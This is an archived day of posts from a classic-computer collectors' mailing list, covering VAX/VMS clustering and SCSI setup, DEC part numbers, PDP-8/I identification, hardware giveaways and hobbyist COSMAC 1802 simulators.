From healyzh at aracnet.com Mon May 1 00:25:01 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:11 2005 Subject: Tiny Cluster (VMS) ? In-Reply-To: <4.3.1.2.20000430205720.00b392a0@208.226.86.10> Message-ID: >Ok, so I've got two VLC's and I want to see if I can cluster them over >ethernet. This is a precursor to installing the 3400's to be a local >cluster over DSSI. What document do I start in? > >I'm guessing that I somehow need to get MOP running on the VMS system and >to tell it the ethernet address of the other VLC so that when it MOPs for >an image the cluster will respond. > >--Chuck Shared or separate system disk? That'll make a real difference. Basically just run @CLUSTER_CONFIG and follow the instructions, the worst you'll have to do is reload. Ideally though spend some time reading the cluster manuals. You can either read them online, or buy them from Compaq. The doc's can be found online at http://www.openvms.digital.com:8000 the two clustering manuals are about $30 apiece if you want paper copies. I got the basic set of doc's and the cluster manuals. I just setup the first system in my cluster to boot off of another systems disk tonite, but haven't fought LMF yet to get it licensed. When I was doing it CLUSTER_CONFIG told me how to start up MOP. Even with separate system disks on most of the cluster members I've still got a bunch of the files such as the SYSUAF.DAT file shared. Trust me, it really helps when all the cluster members are shareing the same SYSUAF! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From pete at dunnington.u-net.com Mon May 1 03:36:35 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:12 2005 Subject: Classic Databooks and Manuals available In-Reply-To: James Willing "Classic Databooks and Manuals available" (Apr 30, 19:21) References: <3.0.3.32.20000430192151.009af890@agora.rdrop.com> Message-ID: <10005010936.ZM1208@indy.dunnington.u-net.com> Hi, Jim. On Apr 30, 19:21, James Willing wrote: > Trying to clear some space in the 'Garage' yet again Ha! Tell me about it -- today and next weekend I have to completely empty mine, so the builders can start alterations (and the only reason I even considered it, is that the end result will include a proper raised floor and a computer room / workshop that's completely separate from the gardening tools). > General Instruments Microelectronics Data Catalog - 1982 I'd like this one. The only slight problem is getting money across the Atlantic, since Europe's banking system does't seem to talk well to the USA. I think the best way (I assume you have no way to take payment from a Mastercard or Visa card) is just to airmail you a few bills. Would that be acceptable? What do you reckon for postage? The last few books I got from US booksellers cost $2 - $3 each, using some low-cost UPS option. -- Pete Peter Turnbull Dept. of Computer Science University of York From allisonp at world.std.com Mon May 1 07:34:31 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:12 2005 Subject: 11/23+ question In-Reply-To: <200005010311.XAA23327@world.std.com> Message-ID: On Sun, 30 Apr 2000, Megan wrote: > > >>part number 010-01135-00 rev b etched on it. > > > >I don't see that part number in my indices, but it certainly sounds like > >it may be a DEC part number. With the FIFO and the UART, it obviously > > DEC part numbers are 2-5-2 numbers -- two digits, five digits, two digits. > So with this being 3-5-2, it doesn't appear on the face of it to be a > DEC part number. But the board numbers will tell... No question about it, its not DEC. Assuming hte leading 0 is extra, 10 class parts are neither boards, board assemblies or system components. For a board I'd expect 54-class or maybe 70-class for a subassembly. Class numbers are the first two disgits of the 2-5-2. For example class-21 parts are rams, roms, proms, eproms and cpus, 99 class is hardware. Allison From allisonp at world.std.com Mon May 1 07:40:23 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:12 2005 Subject: Tiny Cluster (VMS) ? In-Reply-To: <4.3.1.2.20000430205720.00b392a0@208.226.86.10> Message-ID: On Sun, 30 Apr 2000, Chuck McManis wrote: > to tell it the ethernet address of the other VLC so that when it MOPs for > an image the cluster will respond. There is no "mop running". what you have to do is basically set up the system so that if it sees a boot request (MOP load) that is knows the MAC address of the requestor and the image to down load (sysboot). Once sysboot is running it switches to DECNET and if everything is set right the needed files can be accessed and boot will occur. You have the option of running as a full cluster member (LAVC) or you can run as a diskless client. The difference is mostly management and handeling client privs. I've used mop to run standalone backup (STABACKIT) from the host rather than boot VMS and use backup to copy the image to the target disk. Of course if there is no target disk then boot VMS. Allison From allisonp at world.std.com Mon May 1 07:43:24 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:12 2005 Subject: OT: BB205 Varicap In-Reply-To: <390D0C3E.AA34334@rain.org> Message-ID: On Sun, 30 Apr 2000, Marvin wrote: > I am looking for a BB205 Varicap, but so far have not been able to find it > or the data sheets. It appears to be an SOT-23 sized surface mount device. I > would also be MOST interested in knowing what the capacitance range is for > the given voltage range. FWIW, this is for the tuning circuit in an 80M > Direction Finding Receiver. Thanks. sounds like a euro part number. My guess is its in the 40-120pf range. As a hack try a 1n4005 rectifier, they work ok as varicaps. Also the collector base junction reverse biased of a 2n2219[and many other SI transistors] is usable for that. Allison From west at tseinc.com Mon May 1 07:57:45 2000 From: west at tseinc.com (Jay West) Date: Sun Feb 27 18:51:12 2005 Subject: IBM systems available Message-ID: <002f01bfb36c$d881fa60$d402a8c0@tse.com> First, my apologies to all who have been trying to reach me (classiccmp related) over the past two weeks - we're in the middle of moving our datacenter (still) and I've been unable to check my personal email let alone respond to it. By the end of this week I hope to respond to all emails... Second - I have been asked to pick up two ibm systems, each from a different source. One I know is an IBM 36, the other is either a 36 or 38. Both systems were just decomissioned and known to be working. One of them definitely includes a lot of documentation, I don't know about the other. Here's the problem - I have no interest in these systems whatsoever, and most importantly I do NOT have ANY room to store them except perhaps for a week - no more. If anyone wants these systems, please contact me at jlwest@tseinc.com quickly, as the owners want them moved immediately. Both owners have clearly stated the systems are available at no charge. I'm just not up for packaging and shipping these beasts myself. Both systems are in the Metro St. Louis, Missouri area. Any takers? Jay West From CLASSICCMP at trailing-edge.com Mon May 1 08:03:26 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:12 2005 Subject: Tiny Cluster (VMS) ? Message-ID: <000501090326.2020042d@trailing-edge.com> >Ok, so I've got two VLC's and I want to see if I can cluster them over >ethernet. This is a precursor to installing the 3400's to be a local >cluster over DSSI. What document do I start in? > >I'm guessing that I somehow need to get MOP running on the VMS system and >to tell it the ethernet address of the other VLC so that when it MOPs for >an image the cluster will respond. It's all very easy: login as SYSTEM, do a @CLUSTER_CONFIG, and answer the questions. You'll need to know the Ethernet hardware address of each satellite, of course, but otherwise it's easy to set up a basic cluster this way. Of course, there are also "non-basic" clusters, but you gotta start with the simple stuff first. Tim. From pete at dunnington.u-net.com Mon May 1 08:33:30 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:12 2005 Subject: Classic Databooks and Manuals available In-Reply-To: pete@indy (Pete Turnbull) "Re: Classic Databooks and Manuals available" (May 1, 8:36) References: <3.0.3.32.20000430192151.009af890@agora.rdrop.com> <10005010936.ZM1208@indy.dunnington.u-net.com> Message-ID: <10005011433.ZM1355@indy.dunnington.u-net.com> On May 1, 8:36, Pete Turnbull wrote: > On Apr 30, 19:21, James Willing wrote: > > Trying to clear some space in the 'Garage' yet again Oh, spit, that was supposed to go to Jim, not the list. Sorry. -- Pete Peter Turnbull Dept. of Computer Science University of York From dylanb at sympatico.ca Mon May 1 12:40:29 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:12 2005 Subject: PDP-8/i Help needed References: <20000419220805.3545.qmail@hotmail.com> Message-ID: <003701bfb394$58b8c8e0$fd83fea9@office> ----- Original Message ----- From: Will Jennings To: Sent: Wednesday, April 19, 2000 6:08 PM Subject: PDP-8/i Help needed > Hi, > OK I have an 8/i, but now I have a lot of questions; first, where the heck > is the serial number on the dumb thing? The PDP-8/I is not a dumb thing. Quite an advanced low-cost minicomputer for 1968. The serial number is located where all other DEC serial numbers are - The little steel tag with the model number. The number after it is the serial number. They only made 4000 units so yours should be somewhere under that. >The top of the main frame seems to > be the listing for the options and serial numbers, i.e. "KW8I 532," "MC8IA > 1877," and "KP8I 774." I know this means it has/had another 4K of memory, > the power fail/auto restart, and the RTC. On the back of the main frame, it > has one more serial plate, though it looks like there used to be another > one. It reads "M26 8I L3213." Is there any way to determine the stupid Probably #3213. > thing's serial number or is it there or ??? I have reason to believe that > it's a fairly early machine, since it's a Negibus 8/i, and some of the chip Most were negibus, even some of the final units knocked out. They later produced PDP-8/Is with posibus/posi converters. I haven't found a PDP-8/I with posibus yet. BTW: Has anyone ever seen the add-on to use OMNIBUS memory? > dates are from late '68/early '69. I'd appreciate not being outbid on the 4K > PDP-8 core stack on Ebay, as I need it to have the full 8K that it once had. I would appreciate it if you would not bid on eBay at all. You rarely pay for anything and have been kicked off twice for bidding on many items and never paying. I have had to pay more for an item to outbid you only to find out you didn't pay for any of the other items you were bidding on. When I have been outbid by you in the past, the seller has contacted me to see if I want it as you have never sent the money :-( Bid with your head - not over it. > Does anyone have any real docs for the beast they could part with? I mean > originals, yes I greatly appreciate highgate, but since I plan to have a > museum at some point, I really do need the real things. Not to mention that > I don't have the equipment to print a D-size drawing (the module utilization It's going to take a while to find original prnts as they only made a few thousand PDP-8/I minicomputers. Best get the minicomputer running with highgate prints and wait for a set to surface later. I have learned to be patient - if you want it you will find it. > chart). I also need the trim piece for the top of the rack it lives in (the > old black 6'4" style). While I'm at it, I have no manuals for my 11/34A or > my VAX-11/750.. > > Will J > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > From af-list at wfi-inc.com Mon May 1 12:08:45 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:51:12 2005 Subject: OT: The Drop Squad In-Reply-To: Message-ID: Ouch, This brought back painful memories. I used to live across the street from one of the JPL buildings in Pasadena, and they had a 5 or 6 level parking structure that we'd ride our skateboards in. Well, once someone left a chair sitting on top (lazy-boy type) and the temptation got us: over it went, onto the sidewalk. The following weeks didn't turn anything up, so we started taking things over to drop. Then, one day, we stumbled on an automobile wheel (tire, rim, fully inflated) left by the railroad tracks. As fast as we could, we wheeled it down the street and up to the top of the parking lot, giggling the whole time. We rolled it off the top so it would stay upright...which it did. Christ. It bounced at least 20 feet back up in the air before coming down...right on the top of somebody's car. Windshield - shattered, along with the driver and passenger windows. There was a loud crash and the alarm going off, and a car wheel imbedded in the top of the car. Needless to say, like any 14 year olds, we hauled ass out of there - running right into a security guard at the bottom of the stairs. Ultimately, the guy who owned the car was the coolest man who ever lived. He told us that he'd been 14 once and that his insurance would pay for it. And that if he saw us in the parking lot again (which we steered clear of), he'd have us arrested on the spot... Cheers, Aaron From aek at spies.com Mon May 1 12:29:07 2000 From: aek at spies.com (Al Kossow) Date: Sun Feb 27 18:51:13 2005 Subject: PDP-8/i Help needed Message-ID: <200005011729.KAA13390@spies.com> "I would appreciate it if you would not bid on eBay at all. You rarely pay for anything and have been kicked off twice for bidding on many items and never paying." Ditto from me, Will. You cost me several hundred dollars on the fiche and VT11 paper tapes. I make everything that I have available to the collecting community. So far I see no evidence that you are anything other than a collecting black hole, and see little reason to offer any direct help to you at all. From af-list at wfi-inc.com Mon May 1 12:36:52 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:51:13 2005 Subject: OT: WebSurfer (New Linux-able web box) Message-ID: All the details are here: http://www.linux-hacker.net/websurfer/ws.html I believe they cost around $50 at CompUSA. Cheers, Aaron From kyrrin at bluefeathertech.com Mon May 1 13:10:50 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:13 2005 Subject: OT: The Drop Squad In-Reply-To: References: Message-ID: <3.0.5.32.20000501111050.00943890@mail.bluefeathertech.com> At 10:08 01-05-2000 -0700, you wrote: >Ultimately, the guy who owned the car was the coolest man who ever lived. >He told us that he'd been 14 once and that his insurance would pay for it. >And that if he saw us in the parking lot again (which we steered clear >of), he'd have us arrested on the spot... The moral of the story is: If there's a risk of hitting anyone, or anything that's particularly valuable, either move to another drop-spot and/or post lookouts to keep the curious at a safe distance. I will add that I maintain a pretty strict set of guidelines for any drops that I happen to do. Anything that might cause permanent damage (other than to the item being dropped, of course) is right out, as is anything that poses an uncontrollable risk to life or safety. Sorry to hear about the fellow's car, but I'm glad he was cool about it. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com Amateur Radio: WD6EOS since Dec. '77 "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From healyzh at aracnet.com Mon May 1 14:17:28 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:13 2005 Subject: Weird question, VAX VS4000/VLC In-Reply-To: <4.3.1.2.20000429000540.03004ef0@208.226.86.10> References: <4.3.1.2.20000428210221.02e26830@208.226.86.10> Message-ID: >At 11:06 PM 4/28/00 -0700, Zane wrote: >>I believe it's two different types of RAM tests, it sounds like the one has >>the abbreviated search set. > >Yup, > >>> SET FBOOT 1 >is the answer. >--Chuck I just got my VLC a few minutes ago, and boy does the above setting make a HUGE difference. On the downside I've got to leave for work in a few minutes so won't be able to play with it until tonite. Now for my wierd VLC question. DKA700 ?!?!? Shouldn't a disk set to SCSI ID #7 cause problems? At least tonite after work I'll finally be able to start my project! First step will be adding a 2GB HD (what the hey, it's the only thing bigger than the RZ23L in it that will fit that I don't currently have in use), and loading out VMS. I'm dying to see how DECwindows performs on this sucker! This is now my fastest operational VAX :^) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From kyrrin at bluefeathertech.com Mon May 1 14:37:32 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:13 2005 Subject: FS: Mid-size 19" equipment rack Message-ID: <3.0.5.32.20000501123732.00958e40@mail.bluefeathertech.com> This is being sent to both the CLASSICCMP and port-VAX lists since both are likely to contain people who use rack-mount hardware. Hi, folks, Time to get rid of a rack, methinks. I have one available that's 57" high (just under 5 feet) by 24.5" deep. It's enclosed, with a rear door, has wheels, and it also has a big honker of a filtered cooling fan mounted in the bottom. For power, it has a Wiremold-brand power strip mounted vertically in the back. The front and back rails are drilled and tapped for standard 10-32 rack screws. DEC used a zillion of 'em in most of their older products. Price: $50 or best offer. I'll also consider trades for (physically) smaller stuff. LOCAL PICKUP ONLY in Kent, WA (southeast of Seattle). Sorry, but there's no way I can ship this beast, not unless somebody wants to pay way more than it's probably worth for palletizing and freight. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com Amateur Radio: WD6EOS since Dec. '77 "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From mgregory at vantageresearch.com Mon May 1 15:03:58 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:51:13 2005 Subject: Followup to: Can a Mac Portable battery be "trickle charged"? Message-ID: <012a01bfb3a8$6301c040$0200a8c0@marvin> Thanks to everyone for the interesting discussion on lead-acid batteries. I seem to have gotten lucky with my new Portable. After two days of charging at 300 mA, the Portable fires right up, and loads System 7.5 from the 40 meg internal HD. The system also has the Apple 3 MB RAM expansion installed, for a total of 4 MB RAM. No backlighting, though. The only side effect of being long-dead seems to be a fairly fast drain on the battery when the system is off and not plugged in to the adapter; I'll have to experiment to see if this is due to the system going into sleep mode rather than powering down completely, or whether the battery isn't holding it's charge. I'm still hunting for a Portable AC adapter and/or replacement battery locally; if I can't find one, I may contact one of the list members who indicated they may have one for sale or trade. Thanks to all. Regards, Mark Gregory From cmcmanis at mcmanis.com Mon May 1 15:37:20 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:13 2005 Subject: Weird question, VAX VS4000/VLC In-Reply-To: References: <4.3.1.2.20000429000540.03004ef0@208.226.86.10> <4.3.1.2.20000428210221.02e26830@208.226.86.10> Message-ID: <4.1.20000501133158.04608d60@mailhost.hq.freegate.com> At 12:17 PM 5/1/00 -0700, Zane wrote: >I just got my VLC a few minutes ago, and boy does the above setting make a >HUGE difference. This is very true. Its unclear what we give up by doing it however. I guess what I would like is a "do the full test every 10 boots or so." Anyone have the VLC manual handy? >Now for my wierd VLC question. DKA700 ?!?!? Shouldn't a disk set to SCSI >ID #7 cause problems? Nope. The VLC sets the CPU's internal SCSI address to 6 for some reason (don't try putting a Sun CD on it without checking!) Unlike machines with dual SCSI busses the internal bus is not terminated so you will need an external terminator. And because the ethernet is so close to the SCSI connector you may only be able to use the DEC brand terminator which is narrow along the sides. Mine was missing one and until I stole one off the TZ50 I had a ribbon cable one kludged in. I am still looking for a VLC disk tray if anyone has one. >At least tonite after work I'll finally be able to start my project! First >step will be adding a 2GB HD (what the hey, it's the only thing bigger than >the RZ23L in it that will fit that I don't currently have in use), and >loading out VMS. I'm dying to see how DECwindows performs on this sucker! I'm not quite there yet but I have ordered the Montagar CD with the layered products on it and VMS 7.2. >This is now my fastest operational VAX :^) 6 vups and counting! --Chuck From kyrrin at bluefeathertech.com Mon May 1 16:24:05 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:13 2005 Subject: Free (almost) to good home... Message-ID: <3.0.5.32.20000501142405.0095b640@mail.bluefeathertech.com> By 'Almost,' I meant just for postage ($3.20 Priority Mail). I have, still with the tape in its shrink-wrap, the 'Personal Application Kit' for the NEC PC-8201A portable. Got the manual with it as well. First one with an offer to cover postage gets it! Thanks. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com Amateur Radio: WD6EOS since Dec. '77 "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From mtapley at swri.edu Mon May 1 17:04:40 2000 From: mtapley at swri.edu (Mark Tapley) Date: Sun Feb 27 18:51:13 2005 Subject: classiccmp-digest V1 #148 In-Reply-To: <200004302246.RAA05679@opal.tseinc.com> Message-ID: Hello, A DEC Rainbow in Vancouver. (Kevin?) Get it while it's hot! Alan said "...as you see fit" and I don't know many groups fitter than this. If you *have* a RB but not MS-DOS 3.10B, you likely want the latter at least. - Mark >Date: Mon, 1 May 2000 13:10:57 -0700 (PDT) ... >Subject: Surplus Rainbow > >Hi Mark. Thanks, I've found no interest locally yet, so spread the word >as you see fit: > >Free for pickup in Victoria, B.C. on Vancouver Island: > >(I could get it to the mainland sometime or have it picked up by a >forwarding agent in Victoria if they handle *all* the packing and >processing.) > >Rainbow 100A in working condition in tower case, VR201 monitor (occasional >rolling), LK201 keyboard, Letterwriter 100 printer (untested) > >cable, ribbon, installation manual, owner's manual, user's guide, MS-DOS >introduction even the floppy disk inserts that say "Save this card". > >DOS 3.10b for the Rainbow, a variety of utility programs and games but no >*real* software but there's shareware available. > >For those who don't know, this is *not* compatible with IBM-PCs. The >diskettes cannot be interchanged although there is a utility to allow >reading Rainbow diskettes in a PC drive. So, unless someone likes to >play, it's probably a museum piece. > >Contact Alan at yjNOSPAM105@victoria.tc.ca (remove NOSPAM) From kyrrin at bluefeathertech.com Mon May 1 17:46:29 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:13 2005 Subject: Personal App Kit: Claimed! Message-ID: <3.0.5.32.20000501154629.0095ea10@mail.bluefeathertech.com> George Currie was the lucky(?) claimant, though Doug Salot came in a close second. Thanks, folks! -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com Amateur Radio: WD6EOS since Dec. '77 "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From af-list at wfi-inc.com Mon May 1 18:20:40 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:51:13 2005 Subject: IBM MT/ST Commercial "The Paperwork Explosion" Message-ID: Hi all, Just received my previously-mentioned Raymond Scott "Manhattan Research" CD-Set/Book and it's incredible. Wow. On-topic, it has the soundtrack to an industrial film for the MT/ST from 1967. In there is Jim Henson's voice announcing, "Used systematically throughout an office, these two pieces of IBM equipment alone have increased people's productivity by 50%." If anyone is interested in hearing it, maybe I could post a couple of snippets as mp3 files or something...just let me know. Cheers, Aaron From allisonp at world.std.com Mon May 1 17:19:12 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:13 2005 Subject: Weird question, VAX VS4000/VLC Message-ID: <002401bfb3bc$1fff6cc0$6d64c0d0@ajp166> >Now for my wierd VLC question. DKA700 ?!?!? Shouldn't a disk set to SCSI >ID #7 cause problems? VAXen with SCSI seem for reasons I've forgotten to be always set as host at 6 so a device at 0-5 and 7 are ok. It wasn't until I'd seen PC SCSI that i'd ever seen a host at 7! >step will be adding a 2GB HD (what the hey, it's the only thing bigger than >the RZ23L in it that will fit that I don't currently have in use), and >loading out VMS. I'm dying to see how DECwindows performs on this sucker! It hauls! Check on this, I think that machime may not have the problem but older SCSI vaxen have a limit of 1.07gb for the boot disk. Has to do with how VMS uses the boot rom driver if it has to do a core dump on crash. I run a VS3100M76 (7.8vup) and DW runs really well on it. Allison From at258 at osfn.org Mon May 1 18:54:33 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:51:13 2005 Subject: Free (almost) to good home... In-Reply-To: <3.0.5.32.20000501142405.0095b640@mail.bluefeathertech.com> Message-ID: Anyone interested in IBM manual 6322959, Guide to Operations (IBM PCjr)? No slipcase. IBM 6024120 DOS (2.10)? M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From kstumpf at unusual.on.ca Mon May 1 19:09:12 2000 From: kstumpf at unusual.on.ca (Kevin Stumpf/Unusual Systems) Date: Sun Feb 27 18:51:13 2005 Subject: IBM MT/ST Commercial "The Paperwork Explosion" References: Message-ID: <019601bfb3ca$a8beb760$ae89b7d1@kstumpf> Hello Aaron. I have atn IBM Mag Card Word Processing - next generation to the MT/ST. Please tell me more about "Raymond Scott "Manhattan Research" CD-Set/Book". Thank you. Kevin Stumpf - The Nostalgic Technophile www.unusual.on.ca - 519.744.2900 EST/EDT (GMT - 5) Author & Publisher of The Guide to Collecting Computers and Computer Collectibles: History, Practice, and Technique From kbd at ndx.net Mon May 1 19:43:20 2000 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:51:13 2005 Subject: COSMAC 1802 Simulator In-Reply-To: <019601bfb3ca$a8beb760$ae89b7d1@kstumpf> Message-ID: Ugh - I spent some time writing a 1802 simulator and wanted to get Tiny Basic going on it. I just went though my manuals and I have the Basic manual, but have seemed to lost the hex dump for the Basic Interpreter itself. Does anyone on the list have any hex dumps (or binary files) for 1802 programs? I'd like to get some other things going besides the simple ELF programs. I'm going to post the simulator (source and all) when I get something interesting going. Thanks, Kirk From allisonp at world.std.com Mon May 1 20:44:46 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:13 2005 Subject: COSMAC 1802 Simulator Message-ID: <004301bfb3d8$11327310$6d64c0d0@ajp166> -----Original Message----- From: Kirk Davis >Ugh - I spent some time writing a 1802 simulator >and wanted to get Tiny Basic going on it. I just went That was poor planning. ;) >though my manuals and I have the Basic manual, but have >seemed to lost the hex dump for the Basic Interpreter itself. Well if someone else doesn't drop a box of stuff on you I have Quest TB for the 1802 somewhere safe. I can zap a copy of the dump. But you can't have the paper tape! Allison From mrbill at mrbill.net Mon May 1 21:39:19 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:51:13 2005 Subject: VHS to MPG/AVI/Quicktime conversion? Message-ID: <20000501213919.W12705@mrbill.net> Anybody on these lists have the ability to digitize/convert video from VHS tape (NTSC) to a computer-readable (MPG preferred, but AVI or Quicktime would also work) format? I've got the official Sun video tape of the SPARCstation 10 product announcement from '92, and I'd like to be able to put it up on the SunHELP historical-product archives.... Thanks. Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From dogas at leading.net Mon May 1 22:09:11 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:51:13 2005 Subject: COSMAC 1802 Simulator Message-ID: <000e01bfb3e3$cc930b00$ca646464@dogclient01> Pretty funny.... Or I guess synchronistic, I guess. I just got my 1802 simulator past the first milepost tonight (It's two days old). It'll process all the Cosmac's instruction's, show registers, and deposit to and examine ram. I could use a few beta testers if you happen to know cosmac machine code. it's at: http://users.leading.net/~dogas/classiccmp/cosmac/cosmac.htm Tomorrow night, I'll add arbitrary ram block saves and loads from disk and a mini assember if things go fast. Eventally, I'll add a nice GUI to it and clean up the code that I'm muddling around with. Cheers - Mike: dogas@leading.net -----Original Message----- From: allisonp To: classiccmp@classiccmp.org Date: Monday, May 01, 2000 11:02 PM Subject: Re: COSMAC 1802 Simulator > >-----Original Message----- >From: Kirk Davis > > >>Ugh - I spent some time writing a 1802 simulator >>and wanted to get Tiny Basic going on it. I just went > > >That was poor planning. ;) > >>though my manuals and I have the Basic manual, but have >>seemed to lost the hex dump for the Basic Interpreter itself. > > >Well if someone else doesn't drop a box of stuff on you I have >Quest TB for the 1802 somewhere safe. I can zap a copy of >the dump. But you can't have the paper tape! > > >Allison > From rhblake at bigfoot.com Mon May 1 22:46:22 2000 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:51:13 2005 Subject: Thinkpad 720 AC adapter References: <20000430163501.V12705@mrbill.net> Message-ID: <390E4F8E.601F81E@bigfoot.com> No go on the adapter - opened it up and most of the internals are fried. I'll keep an eye out for one for Bill in my travels. Bill Bradford wrote: > Anybody know where I can find an AC adapter for a Thinkpad 720, > or alternately, anyone who has older 486 Thinkpad(s) for sale *cheap* ? > > Thanks. > > Bill > > -- > +--------------------+-------------------+ > | Bill Bradford | Austin, Texas | > +--------------------+-------------------+ > | mrbill@sunhelp.org | mrbill@mrbill.net | > +--------------------+-------------------+ From kbd at ndx.net Mon May 1 23:01:22 2000 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:51:13 2005 Subject: COSMAC 1802 Simulator In-Reply-To: <000e01bfb3e3$cc930b00$ca646464@dogclient01> Message-ID: This is great :-) Nice code BTW. I'm at the same point and started on Sat.... I'll post my code shortly. As I'm sure you know the CPU is really the easy part. The real work is going to be in the GUI. Kirk > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Mike > Sent: Monday, May 01, 2000 8:09 PM > To: classiccmp@classiccmp.org > Subject: Re: COSMAC 1802 Simulator > > > Pretty funny.... Or I guess synchronistic, I guess. I just got my 1802 > simulator past the first milepost tonight (It's two days old). It'll > process all the Cosmac's instruction's, show registers, and deposit to and > examine ram. > > I could use a few beta testers if you happen to know cosmac machine code. > > it's at: > http://users.leading.net/~dogas/classiccmp/cosmac/cosmac.htm > > Tomorrow night, I'll add arbitrary ram block saves and loads from > disk and a > mini assember if things go fast. Eventally, I'll add a nice GUI to it and > clean up the code that I'm muddling around with. > > Cheers > - Mike: dogas@leading.net > > > -----Original Message----- > From: allisonp > To: classiccmp@classiccmp.org > Date: Monday, May 01, 2000 11:02 PM > Subject: Re: COSMAC 1802 Simulator > > > > > >-----Original Message----- > >From: Kirk Davis > > > > > >>Ugh - I spent some time writing a 1802 simulator > >>and wanted to get Tiny Basic going on it. I just went > > > > > >That was poor planning. ;) > > > >>though my manuals and I have the Basic manual, but have > >>seemed to lost the hex dump for the Basic Interpreter itself. > > > > > >Well if someone else doesn't drop a box of stuff on you I have > >Quest TB for the 1802 somewhere safe. I can zap a copy of > >the dump. But you can't have the paper tape! > > > > > >Allison > > From mid at auk.cx Mon May 1 23:11:03 2000 From: mid at auk.cx (Adam Fritzler) Date: Sun Feb 27 18:51:13 2005 Subject: FREE: Sun 3/280 chassis+rack AND 2 Fuji Eagle N2361's Message-ID: Real Sun 3/280 rack. Its probably more useful as a generic 19in rack than it is as a Sun3/280. Complete with fans and power distribution center (not real useful either -- requires 30A outlet). Also includes the 3/280 chassis/cardcage. Also, you get two Fuji Eagles (SMD). You must take these with the rack since 1) I have no where else to put them and 2) I have no where else to put them. (And don't forget 3) They're damned hard to lift straight off the floor.) I'll throw in the SMD controllers if you like. I'm not sure if I still have the original /280 boards, but I could probably find a /260 system board (same exact things) for you if you really really want to bring up the system. (Yes, it does boot off the Eagles. I don't recommend it. Especially in the Arizona summer.) SMD cables included (but you get to figure out the proper way to connect them). All this for free (or best offer!). The condition is that you get to pick them up from my home in Peoria, Arizona. And you have to have a truck thats big enough to haul them. (I hauled it home in a 1979 Chevy Suburban. Its not _too_ bad. Not a job for the for the small and weak, though.) Dimensions for reference: 24in x 36in x 78in. I'm not even going to guess on the weight. You probably want to haul the Eagles in the proper way if you want them to work when you're done. I even have pictures, for the patient: http://www.auk.cx/sun3/pics/280/ (Monitor and keyboard not included.) Please forward this to whoever you think might be interested. I don't want to keep it in my garage over the summer. It gets into and beyond the 120s out there. af --- Adam 